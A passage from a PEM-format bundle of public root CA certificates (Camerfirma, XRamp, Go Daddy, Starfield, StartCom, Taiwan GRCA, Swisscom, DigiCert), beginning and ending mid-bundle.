L8y6C98/d3tGfToSJI6WjzwFCm/SlCgdbQzALogi1djPHRPH8EjX1wWnz8dHnjs8NMiAT9QUu/wN UPf6s+xCX6ndbcj0dc97wXImsQEcXCz9ek60AcUFV7nnPKoF2YjpB0ZBzu9Bga5Y34OirsrXdx/n ADydb47kMgkdTXg0eDQ8lJsm7U9xxhl6vSAiSFr+S30Dt+dYvsYyTnQeaN2oaFuzPu5ifdmA6Ap1 erfutGWaIZDgqtCYvDi1czyL+Nw= -----END CERTIFICATE----- Camerfirma Global Chambersign Root ================================== -----BEGIN CERTIFICATE----- MIIExTCCA62gAwIBAgIBADANBgkqhkiG9w0BAQUFADB9MQswCQYDVQQGEwJFVTEnMCUGA1UEChMe QUMgQ2FtZXJmaXJtYSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQLExpodHRwOi8vd3d3LmNoYW1i ZXJzaWduLm9yZzEgMB4GA1UEAxMXR2xvYmFsIENoYW1iZXJzaWduIFJvb3QwHhcNMDMwOTMwMTYx NDE4WhcNMzcwOTMwMTYxNDE4WjB9MQswCQYDVQQGEwJFVTEnMCUGA1UEChMeQUMgQ2FtZXJmaXJt YSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQLExpodHRwOi8vd3d3LmNoYW1iZXJzaWduLm9yZzEg MB4GA1UEAxMXR2xvYmFsIENoYW1iZXJzaWduIFJvb3QwggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAw ggEIAoIBAQCicKLQn0KuWxfH2H3PFIP8T8mhtxOviteePgQKkotgVvq0Mi+ITaFgCPS3CU6gSS9J 1tPfnZdan5QEcOw/Wdm3zGaLmFIoCQLfxS+EjXqXd7/sQJ0lcqu1PzKY+7e3/HKE5TWH+VX6ox8O by4o3Wmg2UIQxvi1RMLQQ3/bvOSiPGpVeAp3qdjqGTK3L/5cPxvusZjsyq16aUXjlg9V9ubtdepl 6DJWk0aJqCWKZQbua795B9Dxt6/tLE2Su8CoX6dnfQTyFQhwrJLWfQTSM/tMtgsL+xrJxI0DqX5c 8lCrEqWhz0hQpe/SyBoT+rB/sYIcd2oPX9wLlY/vQ37mRQklAgEDo4IBUDCCAUwwEgYDVR0TAQH/ BAgwBgEB/wIBDDA/BgNVHR8EODA2MDSgMqAwhi5odHRwOi8vY3JsLmNoYW1iZXJzaWduLm9yZy9j aGFtYmVyc2lnbnJvb3QuY3JsMB0GA1UdDgQWBBRDnDafsJ4wTcbOX60Qq+UDpfqpFDAOBgNVHQ8B Af8EBAMCAQYwEQYJYIZIAYb4QgEBBAQDAgAHMCoGA1UdEQQjMCGBH2NoYW1iZXJzaWducm9vdEBj aGFtYmVyc2lnbi5vcmcwKgYDVR0SBCMwIYEfY2hhbWJlcnNpZ25yb290QGNoYW1iZXJzaWduLm9y ZzBbBgNVHSAEVDBSMFAGCysGAQQBgYcuCgEBMEEwPwYIKwYBBQUHAgEWM2h0dHA6Ly9jcHMuY2hh bWJlcnNpZ24ub3JnL2Nwcy9jaGFtYmVyc2lnbnJvb3QuaHRtbDANBgkqhkiG9w0BAQUFAAOCAQEA PDtwkfkEVCeR4e3t/mh/YV3lQWVPMvEYBZRqHN4fcNs+ezICNLUMbKGKfKX0j//U2K0X1S0E0T9Y gOKBWYi+wONGkyT+kL0mojAt6JcmVzWJdJYY9hXiryQZVgICsroPFOrGimbBhkVVi76SvpykBMdJ PJ7oKXqJ1/6v/2j1pReQvayZzKWGVwlnRtvWFsJG8eSpUPWP0ZIV018+xgBJOm5YstHRJw0lyDL4 IBHNfTIzSJRUTN3cecQwn+uOuFW114hcxWokPbLTBQNRxgfvzBRydD1ucs4YKIxKoHflCStFREes t2d/AYoFWpO+ocH/+OcOZ6RHSXZddZAa9SaP8A== -----END CERTIFICATE----- XRamp Global CA Root ==================== -----BEGIN CERTIFICATE----- MIIEMDCCAxigAwIBAgIQUJRs7Bjq1ZxN1ZfvdY+grTANBgkqhkiG9w0BAQUFADCBgjELMAkGA1UE BhMCVVMxHjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2Vj dXJpdHkgU2VydmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBB dXRob3JpdHkwHhcNMDQxMTAxMTcxNDA0WhcNMzUwMTAxMDUzNzE5WjCBgjELMAkGA1UEBhMCVVMx HjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2VjdXJpdHkg U2VydmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBBdXRob3Jp dHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCYJB69FbS638eMpSe2OAtp87ZOqCwu IR1cRN8hXX4jdP5efrRKt6atH67gBhbim1vZZ3RrXYCPKZ2GG9mcDZhtdhAoWORlsH9KmHmf4MMx foArtYzAQDsRhtDLooY2YKTVMIJt2W7QDxIEM5dfT2Fa8OT5kavnHTu86M/0ay00fOJIYRyO82FE zG+gSqmUsE3a56k0enI4qEHMPJQRfevIpoy3hsvKMzvZPTeL+3o+hiznc9cKV6xkmxnr9A8ECIqs AxcZZPRaJSKNNCyy9mgdEm3Tih4U2sSPpuIjhdV6Db1q4Ons7Be7QhtnqiXtRYMh/MHJfNViPvry xS3T/dRlAgMBAAGjgZ8wgZwwEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFMZPoj0GY4QJnM5i5ASsjVy16bYbMDYGA1UdHwQvMC0wK6Ap oCeGJWh0dHA6Ly9jcmwueHJhbXBzZWN1cml0eS5jb20vWEdDQS5jcmwwEAYJKwYBBAGCNxUBBAMC AQEwDQYJKoZIhvcNAQEFBQADggEBAJEVOQMBG2f7Shz5CmBbodpNl2L5JFMn14JkTpAuw0kbK5rc /Kh4ZzXxHfARvbdI4xD2Dd8/0sm2qlWkSLoC295ZLhVbO50WfUfXN+pfTXYSNrsf16GBBEYgoyxt qZ4Bfj8pzgCT3/3JknOJiWSe5yvkHJEs0rnOfc5vMZnT5r7SHpDwCRR5XCOrTdLaIR9NmXmd4c8n nxCbHIgNsIpkQTG4DmyQJKSbXHGPurt+HBvbaoAPIbzp26a3QPSyi6mx5O+aGtA9aZnuqCij4Tyz 8LIRnM98QObd50N9otg6tamN8jSZxNQQ4Qb9CYQQO+7ETPTsJ3xCwnR8gooJybQDJbw= -----END CERTIFICATE----- Go Daddy Class 2 CA =================== -----BEGIN CERTIFICATE----- MIIEADCCAuigAwIBAgIBADANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMY VGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRp ZmljYXRpb24gQXV0aG9yaXR5MB4XDTA0MDYyOTE3MDYyMFoXDTM0MDYyOTE3MDYyMFowYzELMAkG A1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28g RGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASAwDQYJKoZIhvcNAQEBBQAD ggENADCCAQgCggEBAN6d1+pXGEmhW+vXX0iG6r7d/+TvZxz0ZWizV3GgXne77ZtJ6XCAPVYYYwhv 2vLM0D9/AlQiVBDYsoHUwHU9S3/Hd8M+eKsaA7Ugay9qK7HFiH7Eux6wwdhFJ2+qN1j3hybX2C32 qRe3H3I2TqYXP2WYktsqbl2i/ojgC95/5Y0V4evLOtXiEqITLdiOr18SPaAIBQi2XKVlOARFmR6j YGB0xUGlcmIbYsUfb18aQr4CUWWoriMYavx4A6lNf4DD+qta/KFApMoZFv6yyO9ecw3ud72a9nmY vLEHZ6IVDd2gWMZEewo+YihfukEHU1jPEX44dMX4/7VpkI+EdOqXG68CAQOjgcAwgb0wHQYDVR0O BBYEFNLEsNKR1EwRcbNhyz2h/t2oatTjMIGNBgNVHSMEgYUwgYKAFNLEsNKR1EwRcbNhyz2h/t2o atTjoWekZTBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMu MTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggEAMAwG A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADJL87LKPpH8EsahB4yOd6AzBhRckB4Y9wim PQoZ+YeAEW5p5JYXMP80kWNyOO7MHAGjHZQopDH2esRU1/blMVgDoszOYtuURXO1v0XJJLXVggKt I3lpjbi2Tc7PTMozI+gciKqdi0FuFskg5YmezTvacPd+mSYgFFQlq25zheabIZ0KbIIOqPjCDPoQ HmyW74cNxA9hi63ugyuV+I6ShHI56yDqg+2DzZduCLzrTia2cyvk0/ZM/iZx4mERdEr/VxqHD3VI Ls9RaRegAhJhldXRQLIQTO7ErBBDpqWeCtWVYpoNz4iCxTIM5CufReYNnyicsbkqWletNw+vHX/b vZ8= -----END CERTIFICATE----- Starfield Class 2 CA ==================== -----BEGIN CERTIFICATE----- MIIEDzCCAvegAwIBAgIBADANBgkqhkiG9w0BAQUFADBoMQswCQYDVQQGEwJVUzElMCMGA1UEChMc U3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAGA1UECxMpU3RhcmZpZWxkIENsYXNzIDIg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQwNjI5MTczOTE2WhcNMzQwNjI5MTczOTE2WjBo MQswCQYDVQQGEwJVUzElMCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAG A1UECxMpU3RhcmZpZWxkIENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEgMA0GCSqG SIb3DQEBAQUAA4IBDQAwggEIAoIBAQC3Msj+6XGmBIWtDBFk385N78gDGIc/oav7PKaf8MOh2tTY bitTkPskpD6E8J7oX+zlJ0T1KKY/e97gKvDIr1MvnsoFAZMej2YcOadN+lq2cwQlZut3f+dZxkqZ JRRU6ybH838Z1TBwj6+wRir/resp7defqgSHo9T5iaU0X9tDkYI22WY8sbi5gv2cOj4QyDvvBmVm epsZGD3/cVE8MC5fvj13c7JdBmzDI1aaK4UmkhynArPkPw2vCHmCuDY96pzTNbO8acr1zJ3o/WSN F4Azbl5KXZnJHoe0nRrA1W4TNSNe35tfPe/W93bC6j67eA0cQmdrBNj41tpvi/JEoAGrAgEDo4HF MIHCMB0GA1UdDgQWBBS/X7fRzt0fhvRbVazc1xDCDqmI5zCBkgYDVR0jBIGKMIGHgBS/X7fRzt0f hvRbVazc1xDCDqmI56FspGowaDELMAkGA1UEBhMCVVMxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNo bm9sb2dpZXMsIEluYy4xMjAwBgNVBAsTKVN0YXJmaWVsZCBDbGFzcyAyIENlcnRpZmljYXRpb24g QXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAAWdP4id0ckaVaGs afPzWdqbAYcaT1epoXkJKtv3L7IezMdeatiDh6GX70k1PncGQVhiv45YuApnP+yz3SFmH8lU+nLM PUxA2IGvd56Deruix/U0F47ZEUD0/CwqTRV/p2JdLiXTAAsgGh1o+Re49L2L7ShZ3U0WixeDyLJl xy16paq8U4Zt3VekyvggQQto8PT7dL5WXXp59fkdheMtlb71cZBDzI0fmgAKhynpVSJYACPq4xJD KVtHCN2MQWplBqjlIapBtJUhlbl90TSrE9atvNziPTnNvT51cKEYWQPJIrSPnNVeKtelttQKbfi3 QBFGmh95DmK/D5fs4C8fF5Q= -----END CERTIFICATE----- StartCom Certification Authority ================================ -----BEGIN CERTIFICATE----- MIIHyTCCBbGgAwIBAgIBATANBgkqhkiG9w0BAQUFADB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMN U3RhcnRDb20gTHRkLjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmlu ZzEpMCcGA1UEAxMgU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYwOTE3MTk0 NjM2WhcNMzYwOTE3MTk0NjM2WjB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRk LjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzEpMCcGA1UEAxMg U3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw ggIKAoICAQDBiNsJvGxGfHiflXu1M5DycmLWwTYgIiRezul38kMKogZkpMyONvg45iPwbm2xPN1y o4UcodM9tDMr0y+v/uqwQVlntsQGfQqedIXWeUyAN3rfOQVSWff0G0ZDpNKFhdLDcfN1YjS6LIp/ Ho/u7TTQEceWzVI9ujPW3U3eCztKS5/CJi/6tRYccjV3yjxd5srhJosaNnZcAdt0FCX+7bWgiA/d eMotHweXMAEtcnn6RtYTKqi5pquDSR3l8u/d5AGOGAqPY1MWhWKpDhk6zLVmpsJrdAfkK+F2PrRt 2PZE4XNiHzvEvqBTViVsUQn3qqvKv3b9bZvzndu/PWa8DFaqr5hIlTpL36dYUNk4dalb6kMMAv+Z 6+hsTXBbKWWc3apdzK8BMewM69KN6Oqce+Zu9ydmDBpI125C4z/eIT574Q1w+2OqqGwaVLRcJXrJ osmLFqa7LH4XXgVNWG4SHQHuEhANxjJ/GP/89PrNbpHoNkm+Gkhpi8KWTRoSsmkXwQqQ1vp5Iki/ untp+HDH+no32NgN0nZPV/+Qt+OR0t3vwmC3Zzrd/qqc8NSLf3Iizsafl7b4r4qgEKjZ+xjGtrVc UjyJthkqcwEKDwOzEmDyei+B26Nu/yYwl/WL3YlXtq09s68rxbd2AvCl1iuahhQqcvbjM4xdCUsT 37uMdBNSSwIDAQABo4ICUjCCAk4wDAYDVR0TBAUwAwEB/zALBgNVHQ8EBAMCAa4wHQYDVR0OBBYE FE4L7xqkQFulF2mHMMo0aEPQQa7yMGQGA1UdHwRdMFswLKAqoCiGJmh0dHA6Ly9jZXJ0LnN0YXJ0 Y29tLm9yZy9zZnNjYS1jcmwuY3JsMCugKaAnhiVodHRwOi8vY3JsLnN0YXJ0Y29tLm9yZy9zZnNj YS1jcmwuY3JsMIIBXQYDVR0gBIIBVDCCAVAwggFMBgsrBgEEAYG1NwEBATCCATswLwYIKwYBBQUH AgEWI2h0dHA6Ly9jZXJ0LnN0YXJ0Y29tLm9yZy9wb2xpY3kucGRmMDUGCCsGAQUFBwIBFilodHRw Oi8vY2VydC5zdGFydGNvbS5vcmcvaW50ZXJtZWRpYXRlLnBkZjCB0AYIKwYBBQUHAgIwgcMwJxYg U3RhcnQgQ29tbWVyY2lhbCAoU3RhcnRDb20pIEx0ZC4wAwIBARqBl0xpbWl0ZWQgTGlhYmlsaXR5 LCByZWFkIHRoZSBzZWN0aW9uICpMZWdhbCBMaW1pdGF0aW9ucyogb2YgdGhlIFN0YXJ0Q29tIENl cnRpZmljYXRpb24gQXV0aG9yaXR5IFBvbGljeSBhdmFpbGFibGUgYXQgaHR0cDovL2NlcnQuc3Rh cnRjb20ub3JnL3BvbGljeS5wZGYwEQYJYIZIAYb4QgEBBAQDAgAHMDgGCWCGSAGG+EIBDQQrFilT dGFydENvbSBGcmVlIFNTTCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTANBgkqhkiG9w0BAQUFAAOC AgEAFmyZ9GYMNPXQhV59CuzaEE44HF7fpiUFS5Eyweg78T3dRAlbB0mKKctmArexmvclmAk8jhvh 3TaHK0u7aNM5Zj2gJsfyOZEdUauCe37Vzlrk4gNXcGmXCPleWKYK34wGmkUWFjgKXlf2Ysd6AgXm vB618p70qSmD+LIU424oh0TDkBreOKk8rENNZEXO3SipXPJzewT4F+irsfMuXGRuczE6Eri8sxHk fY+BUZo7jYn0TZNmezwD7dOaHZrzZVD1oNB1ny+v8OqCQ5j4aZyJecRDjkZy42Q2Eq/3JR44iZB3 fsNrarnDy0RLrHiQi+fHLB5LEUTINFInzQpdn4XBidUaePKVEFMy3YCEZnXZtWgo+2EuvoSoOMCZ EoalHmdkrQYuL6lwhceWD3yJZfWOQ1QOq92lgDmUYMA0yZZwLKMS9R9Ie70cfmu3nZD0Ijuu+Pwq yvqCUqDvr0tVk+vBtfAii6w0TiYiBKGHLHVKt+V9E9e4DGTANtLJL4YSjCMJwRuCO3NJo2pXh5Tl 1njFmUNj403gdy3hZZlyaQQaRwnmDwFWJPsfvw55qVguucQJAX6Vum0ABj6y6koQOdjQK/W/7HW/ lwLFCRsI3FU34oH7N4RDYiDK51ZLZer+bMEkkyShNOsF/5oirpt9P/FlUQqmMGqz9IgcgA38coro g14= -----END CERTIFICATE----- Taiwan GRCA =========== -----BEGIN CERTIFICATE----- MIIFcjCCA1qgAwIBAgIQH51ZWtcvwgZEpYAIaeNe9jANBgkqhkiG9w0BAQUFADA/MQswCQYDVQQG EwJUVzEwMC4GA1UECgwnR292ZXJubWVudCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4X DTAyMTIwNTEzMjMzM1oXDTMyMTIwNTEzMjMzM1owPzELMAkGA1UEBhMCVFcxMDAuBgNVBAoMJ0dv dmVybm1lbnQgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQAD ggIPADCCAgoCggIBAJoluOzMonWoe/fOW1mKydGGEghU7Jzy50b2iPN86aXfTEc2pBsBHH8eV4qN w8XRIePaJD9IK/ufLqGU5ywck9G/GwGHU5nOp/UKIXZ3/6m3xnOUT0b3EEk3+qhZSV1qgQdW8or5 BtD3cCJNtLdBuTK4sfCxw5w/cP1T3YGq2GN49thTbqGsaoQkclSGxtKyyhwOeYHWtXBiCAEuTk8O 1RGvqa/lmr/czIdtJuTJV6L7lvnM4T9TjGxMfptTCAtsF/tnyMKtsc2AtJfcdgEWFelq16TheEfO htX7MfP6Mb40qij7cEwdScevLJ1tZqa2jWR+tSBqnTuBto9AAGdLiYa4zGX+FVPpBMHWXx1E1wov J5pGfaENda1UhhXcSTvxls4Pm6Dso3pdvtUqdULle96ltqqvKKyskKw4t9VoNSZ63Pc78/1Fm9G7 Q3hub/FCVGqY8A2tl+lSXunVanLeavcbYBT0peS2cWeqH+riTcFCQP5nRhc4L0c/cZyu5SHKYS1t B6iEfC3uUSXxY5Ce/eFXiGvviiNtsea9P63RPZYLhY3Naye7twWb7LuRqQoHEgKXTiCQ8P8NHuJB O9NAOueNXdpm5AKwB1KYXA6OM5zCppX7VRluTI6uSw+9wThNXo+EHWbNxWCWtFJaBYmOlXqYwZE8 lSOyDvR5tMl8wUohAgMBAAGjajBoMB0GA1UdDgQWBBTMzO/MKWCkO7GStjz6MmKPrCUVOzAMBgNV HRMEBTADAQH/MDkGBGcqBwAEMTAvMC0CAQAwCQYFKw4DAhoFADAHBgVnKgMAAAQUA5vwIhP/lSg2 09yewDL7MTqKUWUwDQYJKoZIhvcNAQEFBQADggIBAECASvomyc5eMN1PhnR2WPWus4MzeKR6dBcZ TulStbngCnRiqmjKeKBMmo4sIy7VahIkv9Ro04rQ2JyftB8M3jh+Vzj8jeJPXgyfqzvS/3WXy6Tj Zwj/5cAWtUgBfen5Cv8b5Wppv3ghqMKnI6mGq3ZW6A4M9hPdKmaKZEk9GhiHkASfQlK3T8v+R0F2 Ne//AHY2RTKbxkaFXeIksB7jSJaYV0eUVXoPQbFEJPPB/hprv4j9wabak2BegUqZIJxIZhm1AHlU D7gsL0u8qV1bYH+Mh6XgUmMqvtg7hUAV/h62ZT/FS9p+tXo1KaMuephgIqP0fSdOLeq0dDzpD6Qz DxARvBMB1uUO07+1EqLhRSPAzAhuYbeJq4PjJB7mXQfnHyA+z2fI56wwbSdLaG5LKlwCCDTb+Hbk Z6MmnD+iMsJKxYEYMRBWqoTvLQr/uB930r+lWKBi5NdLkXWNiYCYfm3LU05er/ayl4WXudpVBrkk 7tfGOB5jGxI7leFYrPLfhNVfmS8NVVvmONsuP3LpSIXLuykTjx44VbnzssQwmSNOXfJIoRIM3BKQ CZBUkQM8R+XVyWXgt0t97EfTsws+rZ7QdAAO671RrcDeLMDDav7v3Aun+kbfYNucpllQdSNpc5Oy +fwC00fmcc4QAu4njIT/rEUNE1yDMuAlpYYsfPQS -----END CERTIFICATE----- Swisscom Root CA 1 ================== -----BEGIN CERTIFICATE----- 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 NY6E0F/6MBr1mmz0DlP5OlvRHA== -----END CERTIFICATE----- DigiCert Assured ID Root CA =========================== -----BEGIN CERTIFICATE----- MIIDtzCCAp+gAwIBAgIQDOfg5RfYRv6P5WD8G/AwOTANBgkqhkiG9w0BAQUFADBlMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0EwHhcNMDYxMTEwMDAwMDAwWhcNMzEx MTEwMDAwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0Ew ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtDhXO5EOAXLGH87dg+XESpa7cJpSIqvTO 9SA5KFhgDPiA2qkVlTJhPLWxKISKityfCgyDF3qPkKyK53lTXDGEKvYPmDI2dsze3Tyoou9q+yHy UmHfnyDXH+Kx2f4YZNISW1/5WBg1vEfNoTb5a3/UsDg+wRvDjDPZ2C8Y/igPs6eD1sNuRMBhNZYW /lmci3Zt1/GiSw0r/wty2p5g0I6QNcZ4VYcgoc/lbQrISXwxmDNsIumH0DJaoroTghHtORedmTpy oeb6pNnVFzF1roV9Iq4/AUaG9ih5yLHa5FcXxH4cDrC0kqZWs72yl+2qp/C3xag/lRbQ/6GW6whf GHdPAgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRF 66Kv9JLLgjEtUYunpyGd823IDzAfBgNVHSMEGDAWgBRF66Kv9JLLgjEtUYunpyGd823IDzANBgkq hkiG9w0BAQUFAAOCAQEAog683+Lt8ONyc3pklL/3cmbYMuRCdWKuh+vy1dneVrOfzM4UKLkNl2Bc EkxY5NM9g0lFWJc1aRqoR+pWxnmrEthngYTffwk8lOa4JiwgvT2zKIn3X/8i4peEH+ll74fg38Fn SbNd67IJKusm7Xi+fT8r87cmNW1fiQG2SVufAQWbqz0lwcy2f8Lxb4bG+mRo64EtlOtCt/qMHt1i 8b5QZ7dsvfPxH2sMNgcWfzd8qVttevESRmCD1ycEvkvOl77DZypoEd+A5wwzZr8TDRRu838fYxAe +o0bJW1sj6W3YQGx0qMmoRBxna3iw/nDmVG3KwcIzi7mULKn+gpFL6Lw8g== -----END CERTIFICATE----- DigiCert Global Root CA ======================= -----BEGIN CERTIFICATE----- MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBhMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAw MDAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3 dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkq hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsBCSDMAZOn TjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97nh6Vfe63SKMI2tavegw5 BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt43C/dxC//AH2hdmoRBBYMql1GNXRor5H 4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7PT19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y 7vrTC0LUq7dBMtoM1O/4gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQAB o2MwYTAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbRTLtm 8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQEF BQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/EsrhMAtudXH/vTBH1jLuG2cenTnmCmr EbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIt tep3Sp+dWOIrWcBAI+0tKIJFPnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886 UAb3LujEV0lsYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4= -----END CERTIFICATE----- DigiCert High Assurance EV Root CA ================================== 